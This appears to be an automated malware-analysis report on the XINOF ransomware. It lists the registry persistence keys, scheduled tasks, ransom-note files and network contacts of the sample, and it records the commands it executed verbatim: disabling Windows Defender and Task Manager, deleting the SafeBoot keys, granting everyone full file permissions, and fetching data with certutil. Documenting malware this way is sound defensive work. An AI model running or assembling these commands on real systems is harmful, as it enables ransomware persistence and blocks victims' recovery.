Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] 'Michael Gillespie' = '%ALLUSERSPROFILE%\XINOF.exe'
Creates or modifies the following files
- <SYSTEM32>\tasks\fonix
- <SYSTEM32>\tasks\fonix11
- <SYSTEM32>\tasks\fonix10
Creates the following files on removable media
- <Drive name for removable media>:\how to decrypt files.hta
- <Drive name for removable media>:\help.txt
- <Drive name for removable media>:\cpriv.key
- <Drive name for removable media>:\correct.avi
- <Drive name for removable media>:\split.avi
- <Drive name for removable media>:\delete.avi
- <Drive name for removable media>:\default.bmp
- <Drive name for removable media>:\dashborder_144.bmp
- <Drive name for removable media>:\coffee.bmp
- <Drive name for removable media>:\tileimage.bmp
- <Drive name for removable media>:\dashborder_192.bmp
- <Drive name for removable media>:\contosoroot.cer
- <Drive name for removable media>:\contoso.cer
- <Drive name for removable media>:\testee.cer
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
modifies the following system settings:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'StartMenuLogOff' = '00000001'
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\xinof.exe
- C:\far2\plugins\align\how to decrypt files.hta
- C:\far2\plugins\cpriv.key
- C:\far2\plugins\help.txt
- C:\far2\plugins\how to decrypt files.hta
- C:\far2\fexcept\cpriv.key
- C:\far2\fexcept\help.txt
- C:\far2\fexcept\how to decrypt files.hta
- C:\far2\plugins\align\help.txt
- C:\far2\encyclopedia\tap\help.txt
- C:\far2\encyclopedia\help.txt
- C:\far2\encyclopedia\how to decrypt files.hta
- C:\far2\documentation\rus\help.txt
- C:\far2\documentation\rus\how to decrypt files.hta
- C:\far2\documentation\eng\help.txt
- C:\far2\documentation\eng\how to decrypt files.hta
- C:\far2\documentation\help.txt
- C:\far2\encyclopedia\tap\how to decrypt files.hta
- C:\far2\plugins\arclite\how to decrypt files.hta
- C:\far2\plugins\arclite\help.txt
- C:\far2\plugins\autowrap\how to decrypt files.hta
- C:\far2\plugins\ftp\help.txt
- C:\far2\plugins\ftp\how to decrypt files.hta
- C:\far2\plugins\filecase\help.txt
- C:\far2\plugins\filecase\how to decrypt files.hta
- C:\far2\plugins\farcmds\help.txt
- C:\far2\plugins\farcmds\how to decrypt files.hta
- C:\far2\plugins\emenu\help.txt
- C:\far2\plugins\emenu\how to decrypt files.hta
- C:\far2\plugins\editcase\help.txt
- C:\far2\plugins\editcase\how to decrypt files.hta
- C:\far2\plugins\drawline\help.txt
- C:\far2\plugins\drawline\how to decrypt files.hta
- C:\far2\plugins\compare\help.txt
- C:\far2\plugins\compare\how to decrypt files.hta
- C:\far2\plugins\brackets\help.txt
- C:\far2\plugins\brackets\how to decrypt files.hta
- C:\far2\plugins\autowrap\help.txt
- C:\far2\documentation\how to decrypt files.hta
- C:\far2\plugins\ftp\lib\how to decrypt files.hta
- C:\far2\addons\xlat\russian\help.txt
- C:\far2\addons\xlat\help.txt
- D:\help.txt
- D:\how to decrypt files.hta
- %ALLUSERSPROFILE%\os
- %ALLUSERSPROFILE%\timezone
- %ALLUSERSPROFILE%\hostname
- %ALLUSERSPROFILE%\systemlocale
- %ALLUSERSPROFILE%\boottime
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\how to decrypt files.hta
- %ALLUSERSPROFILE%\help.txt
- %ALLUSERSPROFILE%\systemid
- <Current directory>\systemid
- %ALLUSERSPROFILE%\cpriv.key
- %ALLUSERSPROFILE%\cpub.key
- <Current directory>\cpub.key
- <Current directory>\cpriv.key
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\xinof.exe
- %ALLUSERSPROFILE%\how to decrypt files.hta
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\startup\help.txt
- D:\cpriv.key
- C:\how to decrypt files.hta
- C:\far2\addons\xlat\how to decrypt files.hta
- C:\far2\addons\shell\help.txt
- C:\far2\addons\shell\how to decrypt files.hta
- C:\far2\addons\setup\help.txt
- C:\far2\addons\setup\how to decrypt files.hta
- C:\far2\addons\macros\help.txt
- C:\far2\addons\macros\how to decrypt files.hta
- C:\far2\addons\colors\help.txt
- C:\far2\addons\colors\how to decrypt files.hta
- C:\far2\addons\cpriv.key
- C:\far2\addons\help.txt
- C:\far2\addons\how to decrypt files.hta
- C:\far2\cpriv.key
- C:\far2\help.txt
- C:\far2\how to decrypt files.hta
- C:\cpriv.key
- C:\help.txt
- C:\far2\addons\xlat\russian\how to decrypt files.hta
- C:\far2\plugins\ftp\lib\help.txt
Deletes the following files
- %ALLUSERSPROFILE%\boottime
- %ALLUSERSPROFILE%\systemlocale
- %ALLUSERSPROFILE%\hostname
- %ALLUSERSPROFILE%\timezone
- %ALLUSERSPROFILE%\os
Creates ransom message files (Trojan.Encoder).
Network activity
TCP
- 'ap#.#yip.com':443
UDP
- DNS ASK ap#.#yip.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c chcp 437
- '<SYSTEM32>\cmd.exe' /c Copy SystemID %ALLUSERSPROFILE%\SystemID
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "XINOF Ransomware Version 3.3" /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v Manufacturer /t REG_SZ /d "XINOF Ransomware Version 3.3" /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportHours /t REG_SZ /d "24 * 7 * 365" /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportHours /t REG_SZ /d "24 * 7 * 365" /f
- '<SYSTEM32>\cmd.exe' /c systeminfo | findstr /C:"System Boot" >>%ALLUSERSPROFILE%\BootTime
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportPhone /t REG_SZ /d "contact us using this emails enmrs001@keemail.me mrsdatsv001@cock.li "...
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\findstr.exe' /C:"System Boot"
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation /v SupportPhone /t REG_SZ /d "contact us using this emails enmrs001@keemail.me mrsdatsv001@cock.li " /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d "ALL Your Files Has Been Encrypted Using XINOF v4.1" /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d "ALL Your Files Has Been Encrypted Using XINOF v4.1" /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "All of your files encrypted. If want to recover your files contact ...
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d "All of your files encrypted. If want to recover your files contact me by ...
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v StartMenuLogOff /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c systeminfo | findstr /C:"System Locale:" >>%ALLUSERSPROFILE%\SystemLocale
- '<SYSTEM32>\findstr.exe' /C:"System Locale:"
- '<SYSTEM32>\cmd.exe' /c systeminfo | findstr /C:"Host Name:" >>%ALLUSERSPROFILE%\HostName
- '<SYSTEM32>\findstr.exe' /C:"Host Name:"
- '<SYSTEM32>\cmd.exe' /c systeminfo | findstr /C:"Time Zone:" >>%ALLUSERSPROFILE%\TimeZone
- '<SYSTEM32>\findstr.exe' /C:"Time Zone:"
- '<SYSTEM32>\cmd.exe' /c systeminfo | findstr /C:"OS Name:" >>%ALLUSERSPROFILE%\OS
- '<SYSTEM32>\findstr.exe' /C:"OS Name:"
- '<SYSTEM32>\cmd.exe' /c Copy Cpriv.key %ALLUSERSPROFILE%\Cpriv.key
- '<SYSTEM32>\cmd.exe' /c Copy Cpub.key %ALLUSERSPROFILE%\Cpub.key
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '<SYSTEM32>\icacls.exe' * /grant Everyone:(OI)(CI)F /T /C /Q
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLinkedConnections /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\cmd.exe' /c copy %ALLUSERSPROFILE%\XINOF.exe "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '<SYSTEM32>\cmd.exe' /c copy %ALLUSERSPROFILE%\XINOF.exe "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix /TR %ALLUSERSPROFILE%\XINOF.exe /F
- '<SYSTEM32>\cmd.exe' /c attrib +h +s "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '<SYSTEM32>\attrib.exe' +h +s "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\XINOF.exe"
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\cmd.exe' /c certutil -urlcache -split -f https://api.myip.com/ %ALLUSERSPROFILE%\IP
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System /v AllowBlockingAppsAtShutdown /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix11 /TR "<Full path to file>" /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix11 /TR "<Full path to file>" /RU SYSTEM /RL HIGHEST /F
- '<SYSTEM32>\cmd.exe' /c schtasks /CREATE /SC ONLOGON /TN fonix10 /TR "<Full path to file>" /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /TN fonix10 /TR "<Full path to file>" /F
- '<SYSTEM32>\cmd.exe' /c reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\System\CurrentControlSet\Control\SafeBoot /va /F
- '<SYSTEM32>\cmd.exe' /c reg delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
- '<SYSTEM32>\reg.exe' delete HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot /va /F
- '<SYSTEM32>\cmd.exe' /c icacls * /grant Everyone:(OI)(CI)F /T /C /Q
- '<SYSTEM32>\chcp.com' 437
- '<SYSTEM32>\reg.exe' add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ /v "Michael Gillespie" /t REG_SZ /d %ALLUSERSPROFILE%\XINOF.exe /f
- '<SYSTEM32>\certutil.exe' -urlcache -split -f https://api.myip.com/ %ALLUSERSPROFILE%\IP
